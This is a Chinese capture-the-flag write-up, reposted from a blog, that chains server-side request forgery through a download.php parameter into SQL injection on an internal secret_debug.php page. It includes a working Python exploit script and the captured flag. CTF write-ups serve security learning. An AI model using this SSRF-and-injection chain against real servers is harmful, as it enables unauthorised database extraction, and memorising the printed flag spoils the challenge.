目录

进入文档中心页面,点击paper可以下载pdf文件,请求download.php,参数为dl

在这里插入图片描述
在这里插入图片描述
pdf文件内容为ssrf,可能为线索
接着扫一遍目录,发现了/secret目录
在这里插入图片描述

访问一下试试
在这里插入图片描述
分别访问

在这里插入图片描述
看到私密页面1,查看元素,填完表提交,到达私密页面2,元素有一个变量s,s=3时返回页面2
在这里插入图片描述

发现secret_debug.php无法访问
到这里就无头绪了,wp大法,利用download.php传参进行ssrf攻击
虽然只能下载pdf文件,但是下载一个不存在的文件的时候readfile函数还是会执行的。
根据secret参数带入secret_debug构造请求
http://111.200.241.244:64242/secret/secret_debug.php?s=3&txtfirst_name=a&txtmiddle_name=b&txtlast_name=c&txtname_suffix=d&txtdob=01/05/2000&txtdl_nmbr=1234&txtretypedl=1234
在这里插入图片描述
发现.pdf加在了s=3后面,&符号导致,所以进行url编码,服务器再解码,.pdf就会加到所有参数最后

在这里插入图片描述
还是有问题,.pdf加在最后一个参数后面会影响其值,所以在参数后面再加一个&,相当于隔断了pdf
在这里插入图片描述

注册成功。。注册的参数可以进行sql注入,大神的脚本:

import requests
import random
import urllib

url = ' http://111.200.241.244:64242//download.php'

# subquery = "database()"
# ssrfw
# subquery = "select group_concat(table_name) from information_schema.tables where table_schema='ssrfw'"
# etcYssrf,users
# subquery = "select group_concat(column_name) from information_schema.columns where table_name='cetcYssrf'"
# secretName,value
# subquery = "select secretName from cetcYssrf LIMIT 1"
# secretname -> flag
subquery = "select value from cetcYssrf LIMIT 1"
# value -> flag{cpg9ssnu_OOOOe333eetc_2018}

id = random.randint(1, 10000000)

dl = ('http://127.0.0.1/secret/secret_debug.php?' +
        urllib.parse.urlencode({
            "s": "3",
            "txtfirst_name": "A','b',("+subquery+"),'c'/*",
            "txtmiddle_name": "B",
            "txtLast_name": "C",
            "txtname_suffix": "D.",
            "txtdob": "*/,'01/10/2019",
            "txtdl_nmbr": id,
            "txtRetypeDL": id
            }) + "&")

r = requests.get(url, params={"dl": dl})
print(r.text)

知识点:
1.ssrf
2.sql注入

结束语

莫忘少年凌云志 曾许天下第一流

内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/huacheng1122/p/15324975.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!